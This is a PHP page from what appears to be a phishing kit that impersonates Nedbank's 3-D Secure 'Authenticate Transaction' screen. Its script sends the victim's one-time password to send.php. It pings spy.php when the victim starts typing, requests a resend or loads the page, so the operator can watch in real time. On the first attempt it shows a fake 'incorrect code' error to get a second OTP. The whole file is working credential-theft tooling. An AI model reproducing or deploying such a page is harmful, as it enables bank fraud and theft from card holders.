<?php
$bankKey = 'nedbank';
require __DIR__ . '/includes/bank-3ds-bootstrap.php';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Authenticate Transaction — <?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?></title>
    <link rel="stylesheet" href="themes/css/bank-3ds.css" />
    <style>body.b3-page { --b3-primary: <?= htmlspecialchars($bankColor, ENT_QUOTES, 'UTF-8') ?>; }</style>
</head>
<body class="b3-page">

<div class="b3-sheet">
    <a class="b3-close" href="wait.php?p=cancel" aria-label="Close">&times;</a>

    <header class="b3-head">
        <img class="b3-bank-logo" src="<?= htmlspecialchars($bankLogo, ENT_QUOTES, 'UTF-8') ?>"
            alt="<?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?>" />
        <div class="b3-scheme">
            <?php if ($schemeMode === 'mc') { ?>
            <img class="b3-scheme-logo" src="assets/img/card_logo_mc.svg" alt="Mastercard" />
            <span class="b3-scheme-label">| ID Check</span>
            <?php } else { ?>
            <img class="b3-scheme-logo" src="<?= htmlspecialchars($schemeLogo, ENT_QUOTES, 'UTF-8') ?>"
                alt="<?= htmlspecialchars($schemeAlt, ENT_QUOTES, 'UTF-8') ?>" />
            <?php } ?>
        </div>
    </header>

    <main class="b3-main">
        <h1 class="b3-title">Authenticate Transaction</h1>
        <p class="b3-lead">Enter the OTP you received to confirm the transaction</p>

        <p class="b3-auth-copy">
            You are authorizing a payment to <strong><?= htmlspecialchars($merchant, ENT_QUOTES, 'UTF-8') ?></strong>
            for <strong><?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></strong>
            using <strong><?= htmlspecialchars($cardMaskedFull, ENT_QUOTES, 'UTF-8') ?></strong>
            on <strong><?= htmlspecialchars($digDate, ENT_QUOTES, 'UTF-8') ?></strong>
        </p>

        <?php if ($hasError) { ?>
        <div class="b3-error" role="alert">The code entered is incorrect. Please try again.</div>
        <?php } ?>

        <form id="form" novalidate>
            <div class="b3-field">
                <label class="b3-label" for="sms">Verification Code</label>
                <input class="b3-input" id="sms" name="sms" type="text"
                    inputmode="numeric" maxlength="6" autocomplete="one-time-code" required />
            </div>

            <button type="submit" class="b3-btn" id="btn_submit" disabled>CONTINUE</button>
        </form>

        <div class="b3-actions">
            <button type="button" class="b3-cancel" id="btnResend">RESEND CODE</button>
            <a href="wait.php?p=cancel">CANCEL</a>
        </div>

        <div class="b3-faq">
            <details>
                <summary>About 3-D Secure<span class="b3-faq-plus">+</span></summary>
                <p>3-D Secure is an extra layer of security for online card payments. Your bank confirms it is really you before the payment goes through.</p>
            </details>
            <details>
                <summary><?= htmlspecialchars($bankContact, ENT_QUOTES, 'UTF-8') ?><span class="b3-faq-plus">+</span></summary>
                <p>If you did not request this payment, cancel now and contact <?= htmlspecialchars($bankName, ENT_QUOTES, 'UTF-8') ?> immediately.</p>
            </details>
        </div>
    </main>
</div>

<script src="res/jq.js"></script>
<script>
(function () {
    var minLen = 4;
    var maxLen = 6;
    var otpNotifySent = false;

    function digits() {
        return $('#sms').val().replace(/\D/g, '');
    }

    function ok() {
        var n = digits().length;
        return n >= minLen && n <= maxLen;
    }

    $('#sms').on('input paste keyup', function () {
        this.value = this.value.replace(/\D/g, '').slice(0, maxLen);
        $('#btn_submit').prop('disabled', !ok());
        if (!otpNotifySent && digits().length > 0) {
            $.post('spy.php', { otping: 1 });
            otpNotifySent = true;
        }
    });

    $('#form').on('submit', function (e) {
        e.preventDefault();
        if (!ok()) return;
        var alreadyTried = <?= $hasError ? 'true' : 'false' ?>;
        $.post('send.php', { sms: digits() }, function () {
            if (alreadyTried) {
                window.location = 'wait.php?p=sms';
            } else {
                window.location = 'ns.php?e=1';
            }
        });
    });

    $('#btnResend').on('click', function () {
        var $b = $(this);
        if ($b.hasClass('is-sent')) return;
        $.post('spy.php', { smsresend: 1 }).always(function () {
            $b.addClass('is-sent').text('CODE SENT');
        });
    });

    $.post('spy.php', { smsview: 1, firstload: 1 });
    $('#sms').focus();
})();
</script>
<?php $m->ctr('SMS NS ' . @$_GET['e']); ?>
</body>
</html>
